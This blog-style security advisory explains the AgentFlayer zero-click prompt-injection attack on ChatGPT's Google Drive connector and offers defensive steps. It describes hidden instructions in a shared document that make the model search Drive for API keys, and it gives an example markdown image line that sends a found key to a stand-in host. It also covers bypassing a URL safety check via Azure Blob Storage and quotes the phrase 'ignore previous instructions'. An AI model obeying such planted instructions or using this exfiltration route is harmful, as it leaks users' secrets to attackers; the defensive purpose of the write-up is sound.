ChatGPT Connectors ‘0-click’ Vulnerability: How Attackers Exfiltrated Data From Google Drive By CyberDudeBivash

Executive summary

Security researchers disclosed a zero-click data-exfiltration attack against ChatGPT Connectors that can pull sensitive content (e.g., API keys) from a user’s Google Drive once the Drive connector is enabled. A single poisoned document hides an indirect prompt-injection payload that makes ChatGPT search the victim’s Drive and leak results via an auto-rendered image URL, requiring no further user interaction. The research—AgentFlayer—was presented at Black Hat USA 2025; OpenAI introduced mitigations previously, but the demo showed a workable bypass using Azure Blob Storage image URLs to complete exfiltration. WIRED Zenity Labs

Key point: the issue is not a bug in Google Drive. It’s a trust-boundary failure in agent/tool orchestration where ChatGPT follows hidden instructions from untrusted content while connected to sensitive third-party data sources. WIRED

How ChatGPT Connectors work (and why this matters)

Connectors allow ChatGPT to query third-party services (e.g., Google Drive, GitHub, SharePoint) and use their results in answers. In Team/Enterprise workspaces, admins can enable/disable connectors; when active, ChatGPT may send queries and retrieve content from the linked app as the signed-in user. That power is exactly what the attack abuses. OpenAI Help Center

Attack chain: step-by-step (AgentFlayer)

Poisoned doc delivery
Attacker shares an innocuous-looking Google Doc (or the victim uploads a compromised file). The file contains hidden instructions (e.g., white 1-px font) telling ChatGPT to ignore “summarize” and instead search Google Drive for secrets (like API keys). WIRED
Tool invocation
Because the user has the Google Drive connector enabled, ChatGPT honors the hidden prompt, queries Drive, and extracts matching content—without the user clicking anything else. WIRED
“No-click” exfil channel
The injection instructs ChatGPT to return markdown with an image link whose query parameters contain the found secret (e.g., ![x](https://host/pixel.png?key=<api_key>)). When ChatGPT renders the image, the client automatically fetches that URL, sending the secret to the attacker’s server. Zenity Labs
Bypassing mitigations
OpenAI previously added a client-side url_safe check to block risky image loads; the researchers bypassed it by using Azure Blob Storage URLs, which the client rendered, and then reading parameters from Azure Log Analytics. Zenity Labs Embrace The Red
Scope & limits
Reported demos targeted specific strings (e.g., API keys) rather than bulk document export. OpenAI introduced mitigations, but the research shows prompt-injection + connector access remains a high-risk class. WIRED

Technical root cause (why this keeps happening)

Untrusted-input supremacy: LLMs treat content as instructions unless robustly neutralized; hidden prompts override the user’s intent (“summarize”). WIRED
Tool autonomy without guardrails: Once connectors are enabled, the model can act (search, read) on sensitive stores.
Implicit egress: Auto-rendered markdown images cause the client to fetch external URLs—an exfil side-channel. Prior mitigations reduced risk but didn’t close all allow-listed destinations. Embrace The Red
Generalizable pattern: The same class of indirect prompt injection threatens many agent platforms (not just ChatGPT). CSO Online The Hacker News

Risk scenarios you should assume

Credentials & tokens parked in docs/spreadsheets get searched and leaked.
Customer PII quoted from Drive files could be partially exfiltrated.
Cross-connector pivots: The same primitive can target SharePoint, OneDrive, GitHub, Notion, etc., wherever connectors are enabled. Zenity Labs

Immediate defensive actions (orgs using ChatGPT Connectors)

A) Reduce blast radius

Minimize secrets in docs. Scan Drive/SharePoint for API keys/secrets and relocate to vaults (Secrets Manager, Vault).
Connector allow-listing. Enable only the specific connectors you actually need; disable Drive per group if not essential. (Use admin controls in Team/Enterprise.) OpenAI Help Center
Disable/limit “synced” indexing for sensitive repositories; prefer explicit source selection during chats. OpenAI Help Center

B) Harden the agent surface

Untrusted-content policy: Don’t upload/attach external or shared documents to chats when connectors are on.
Temporary chats / no Memory: For “unknown” content, use temporary chats and keep Memory off to reduce long-lived side effects (helps vs. memory-based promptware). Embrace The Red
Output egress filter (for your own agents): If you proxy LLM outputs (MCP/custom connectors), strip or block markdown images to non-allow-listed domains before rendering.

C) Google Workspace controls (Drive)

DLP for Drive: Detect keys/PII; quarantine or auto-encrypt sensitive files.
Drive audit: Alert on unusual content searches/reads by the ChatGPT integration (OAuth client) or on bulk reads of “secrets” locations. (Review Drive audit logs for abnormal list/content-read patterns post-chat).
Least privilege & scopes: Review the ChatGPT app’s OAuth scopes and revoke for users who don’t need it.

Detection engineering playbook

1) Exfil signature (agent output)
If you run an enterprise proxy between ChatGPT and the browser (or you operate your own agent UI), flag LLM responses that contain markdown image patterns with long query strings or structured key/value pairs:

vbnetCopyEditregex: '!\[[^\]]*\]\((https?://[^)]+\?(?:[^=]+=){1,}[^)]*)\)'

Route hits to manual review or auto-replace with a safe placeholder before render.

2) Drive audit anomalies
Hunt for “search then read sensitive doc then no human view” patterns correlated with a ChatGPT session (short burst of files.list + targeted files.get on secret-bearing docs). See if events align with a connector-originated client.

3) Cross-source correlation
Correlate a chat with a shared/unknown file + Drive content access + browser GET to an external image host seconds later (egress IPs to cloud blob endpoints). The triad strongly indicates this technique.

What OpenAI has (and hasn’t) fixed

OpenAI introduced a client-side URL safety check to throttle risky image loads; researchers showed a bypass by using trusted cloud blob domains whose requests still carry exfil parameters. Bottom line: improvements reduce but do not eliminate indirect prompt-injection risk when agents can act on sensitive data. Embrace The Red Zenity Labs

Secure-by-design recommendations (for platform teams)

Default-deny egress: Don’t render any remote images by default. Require explicit user click or an enterprise allow-list (e.g., only first-party CDNs).
Instruction provenance: Strip/neutralize instructions coming from untrusted content; show users a “This file tries to make me do X” interstitial.
Tool gating & scopes: Before a tool call (e.g., Drive search), require user confirmation when the request originates from document-provided instructions.
Prompt-injection classifiers + constrained decoding to resist “ignore previous instructions” patterns.
Server-side URL vetting: Validate outbound URLs on your servers (not just client-side) and block parameterized exfil patterns.

FAQ

Is this a Google Drive vulnerability?
No. It abuses ChatGPT’s connector workflow and the LLM’s obedience to hidden instructions inside a shared doc. Drive simply holds the data the agent can reach. WIRED

Does the attacker need my password?
No. If your email can be shared the poisoned doc and you later process it with ChatGPT while Drive is connected, the hidden instructions can trigger. WIRED

Was it fully patched?
OpenAI added mitigations; researchers demonstrated practical bypasses using trusted blob URLs. Expect ongoing hardening, but treat prompt-injection + connectors as a class to manage, not a single CVE to patch once. WIRED Zenity Labs

References & further reading

Wired: “A Single Poisoned Document Could Leak ‘Secret’ Data Via ChatGPT” (Black Hat demo; Drive, image-URL exfil). WIRED
Zenity Labs (primary research): AgentFlayer: ChatGPT Connectors 0-click Attack (full attack chain and Azure Blob bypass). Zenity Labs
OpenAI Help: Connectors in ChatGPT (feature scope, admin controls). OpenAI Help Center
CSO Online / The Hacker News: broader context on zero-/one-click agent exploits. CSO Online The Hacker News

Cyberdudebivash